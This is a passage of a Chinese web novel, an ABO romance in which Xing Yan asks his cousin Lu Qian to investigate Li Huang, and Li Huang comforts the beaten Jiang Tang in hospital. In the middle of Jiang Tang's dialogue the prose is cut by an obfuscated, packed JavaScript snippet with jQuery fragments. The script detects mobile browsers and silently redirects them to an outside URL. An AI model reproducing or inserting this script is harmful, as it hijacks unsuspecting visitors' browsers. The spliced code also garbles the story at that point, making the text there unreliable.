海城白昇集团,由白叙之的爷爷一手创立,从矿业起家,如今已是涉足地产、金融、医疗、科技等众多领域的庞大商业集团。
白昇医疗是集团旗下第二大核心产业,由白叙之的兄长也就是刑焱的二伯父白敬之一家打理。白敬之心疼守寡多年的幺弟,对刑焱这个侄儿也格外疼爱。刑焱的特效抑制剂研发团队和专属实验室,便设在白昇医疗内部。
刑焱自己不往实验室踏半步,每年只在父亲白叙之生日那天回海城,父子俩这些年见面的次数屈指可数。
陆乾倒是去过几回实验室,去一回就跟发小白晏骂一回,说刑焱这货脑子有泡,每年砸上亿养着一帮吃干饭的东西,研究这么多年就捣鼓出些养肾护肝补剂,居然还能投产,白昇医疗的股价还跟着涨了一波。合着刑焱拉上他俩搞走私,赚那么多黑钱不为别的,就为了填这个无底洞,压制自己身为Alpha的本能。
“他很辛苦,你让让他吧。”
每每白晏这么一劝,陆乾就收声了,到底是心疼自家小表弟,即便刑焱早已多年不与人亲近。
小时候还跟在他屁股后头跑过,一口一个“小乾哥哥”,叫得别提多亲热,哪是眼前的面瘫冷脸?
只能叹一句命运弄人。
陆乾合上企划书,看着忽然出现在自己办公室里的刑焱,故作惊讶:“刑总大驾光临,真是稀客。我小叔的生日不是已经过了么?”
刑焱将手里的文件袋交给陆乾:“看看。”
“才回去几天,亲自过来就为了送这个?助理可以开了。”陆乾打开文件袋,抽出里面资料,没扫几眼就有了数,“你看看你,多粗暴。想了解一个人,要循序渐进,懂么?”
刑焱眉一蹙,说:“先看。”
“直接挖出来有什么意思?”陆乾随手放下资料,漫不经心地一笑,“神秘感没了,就不好玩了。”
似乎看不惯陆乾的做法,刑焱也没耐心等李晃自己露出破绽,只冷冷丢出一句:“他演技不错。”
“是么,”陆乾挑眉,“我那娱乐公司正好要签一批新人,把他也签了?你这资料里怎么连张照片都没有?谁查的,这么不专业,建议开除。”
隔了几秒,刑焱才道:“刑恩最近在给我使绊子,我时间紧,盯不了。帮我查清楚,盯着他。”
“时间紧还亲自跑一趟海城?你手底下没人了?”陆乾成心打趣表弟,“确定是查清楚,再盯着他,不是让我一枪崩了他?”
刑焱过来只是想确认一件事。陆乾嘴欠,没必要让他知道,免得又听一堆废话。
“得,不开玩笑了。”陆乾恢复正经,指尖点了点桌上的资料。
“我来更新一下,这Alpha收下支票是为了救一个小混混,帮那Beta脱离组织,刚好两百万买命钱,他跟小林说的是兄弟关系,可能有隐瞒。你易感期发作那天晚上,他确实认错了车,以为小混混在你车上,就是单纯的巧合。
“小林这几天都在跟他接触,给了他不少机会,但他对你完全没兴趣。小林故意提起你,他直接回避,连我的大腿都懒得抱,私下里没少骂你是‘疯狗’,看样子还挺嫌弃你的,除非你亲自去给人赔个不是。”
刑焱:“……”
陆乾:“如果他没装傻,那演技真不错。”
见表弟脸色比刚才更冷,听到自己被嫌弃时嘴唇轻抿,眉头还蹙着,陆乾稀奇地笑了笑,没再往下说。他下巴朝沙发一扬:“来都来了,坐会儿,晚上跟我去会所喝一杯,我叫上小白。”
刑焱没应声,径直走到陆乾身侧的落地窗前。大楼位于海城主城区,窗外高楼林立,恰好挡去大半阳光,倒不那么刺眼了。
知道刑焱这是默许了,陆乾心里竟生出几分欣慰。自己这表弟今年二十有七,所有精力全扑在正事上,活得像个遁入空门的和尚,何止没半点风月心思,怕是连飞机都不会打。这一朝开荤,跟毛头小子似的动了春心。
“小焱,你老实告诉表哥,是不是春心荡漾了?”
刑焱转而看向陆乾,面无表情地提醒:“你只大我八个月。”
“别说长你一岁,大八天我也是你表哥。”陆乾笑说,“表哥是关心你,在刑家装装样子就算了,自家人跟前,偶尔也笑一笑。”
不知过了多久。
秘书端进来两杯咖啡,又轻轻带上门,陆乾才听刑焱低声说,笑不出来。
他适时转开话题,问刑焱:“那谁给你使什么绊子了?又往你床上送Omega?”
刑焱说:“成天在老头子面前吹风,给我安排联姻。”
陆乾潇洒惯了,最烦联姻这套,也顶瞧不上刑焱那个一肚子黑水的跋扈堂弟,难得爆粗口:“这蠢驴就他妈多余活着,不行找个机会做了他。”
“现在动他还太早。”刑焱语气平静。
“那你今晚回?”陆乾问完,“明天走吧,喝了酒别折腾。”
刑焱扫了眼腕表,短暂停顿,说:“嗯,先离开一下。”
“嘛去?”
“办点事。”
“???”
-
VIP病房里。
李晃剥了香蕉皮,细心切成小块,一抬头就见江唐又盯着窗外发呆,浑身一股忧郁劲儿,跟随时要往下跳似的。
他连忙插上牙签,端着果盘坐到床前:“唐唐,都过去了。来吃点水果。”
江唐扭头望向李晃,嘴唇动了动,却什么也没说,只伸手接过果盘。看着一块块切好的果肉,他终究忍不住开口:“你能别对我这么好吗?应该恨我才对。”
“不对,是给我龙哥送支票闹的。”李晃就回了这么一句。
以前受伤都是往小诊所跑,江唐从没想过自己有一天能住进高级病房,被医生护士当成贵宾对待,晚上还有专业护工照顾。
可住了三天他就受不了了,一想到这一切全是靠李晃背后那位尊悦老板的面子换来的,更是李晃用屁股换来的,他就愧疚得想死,没脸再面对眼前这个真诚善良的Alpha。
而且那天,他还把李晃狠狠臭骂了一顿……
“不是你闹的,”江唐低下头,“是我活该,我这种烂人不配活着,就算被龙胜打死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459266|201272||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我也认了。”
李晃一听这话就后怕,江唐有脑震荡,鼻骨骨折,牙龈撕裂,口腔软组织挫伤,身上也不少淤青,最严重的是左脚踝关节脱位,这会儿已经打上了石膏。江唐身子本来就瘦弱,当时他要没上楼,真有可能被活活打死。
这是他及时救回来的一条命,偏偏江唐自己好像不想活了。
“那个支票……”江唐怕戳到李晃那晚的痛处,憋着不敢提,可惜自己没本事,躺在病床上哪儿也去不了,只好说了出来。
“我早上问过小林哥了,还没兑走。我让他终止支付,他说钱是陆总给你的,不会收回,你能不能去找下陆总,赶紧把支票停了?我猜龙胜是遇上事儿了,他上头还有个地头蛇,时不时会找他,他不敢明目张胆去银行,再不终止就来不及了。”
李晃还记得龙胜当时的警告,两百万就是江唐的买命钱。他劝江唐:“唐唐,犯了错只要改正就好了,你的命比那两百万值钱,不要想不开。”
“……”江唐说不出话来了。这世上,还是头一次有人说他的贱命值钱。
“过去的事就过去了,往前看才是新生活。再说我也有不对,也得给你道歉。对不起啊唐唐,是李哥脑子转得慢,后来才想明白,你是怕我被骗钱,气我没跟你商量。可那两百万,我就是为了你才收下的,我当时还高兴呢,你看老天爷都在救你,你以后好好生活,不要再混黑了。”
李晃这人迟钝,整件事他琢磨了快三天,才总算想明白自己不对在哪儿。
他不够信任江唐。就因为江唐突然变脸骂他,变得陌生,他脑子就被那些难听的话卡住了,转不过弯来。
“你叫我一声李哥,以后我就是你哥,咱俩做兄弟好不?”
前三天看江唐状态不好,李晃一直没提,这会儿才慢慢说起小林给他安排的行政工作,还有自己在后厨的活儿,今晚就要去熟悉环境了,乐呵说着会所里好吃的多,两人都有份,以后相互有个照应。
安静的病房里,渐渐响起断断续续的抽噎。
李晃见江唐的眼泪哗啦啦砸在果盘上,顿时手忙脚乱,赶紧起身去卫生间拧了块毛巾回来。还没等他给江唐擦脸,对方就“呜哇”一声哭着求他:“李哥,你别去那儿上班,我给你找工作,两百万我也会还你的……”
“不用还,那两百万就跟白来的一样,不哭了啊。”李晃刚劝一句,哪知江唐哭得更凶了。
“哪里白来的?你都被……你一个Alpha,被那个陆总呜……都怪我这个王八蛋……”
疯狗的事得带进棺材里,李晃就是有一百张嘴也不能说,只能硬着头皮睁眼说瞎话:“陆总他……他其实是易感期突然发作,自己都没意识了,也不能全怪他。你看我挣了两百万,还爽了呢,陆总技术很好的,我不亏!”
“真的吗……有多好啊?”江唐抹了把泪,忽然瞥见病房门口有道高大的黑影,一时看不清来人,“李哥,是谁来了?”
“没人来啊。”李晃回头一瞧,瞬间吓破了胆。
……怎么回事?小林不是说,疯狗没脸面对他吗?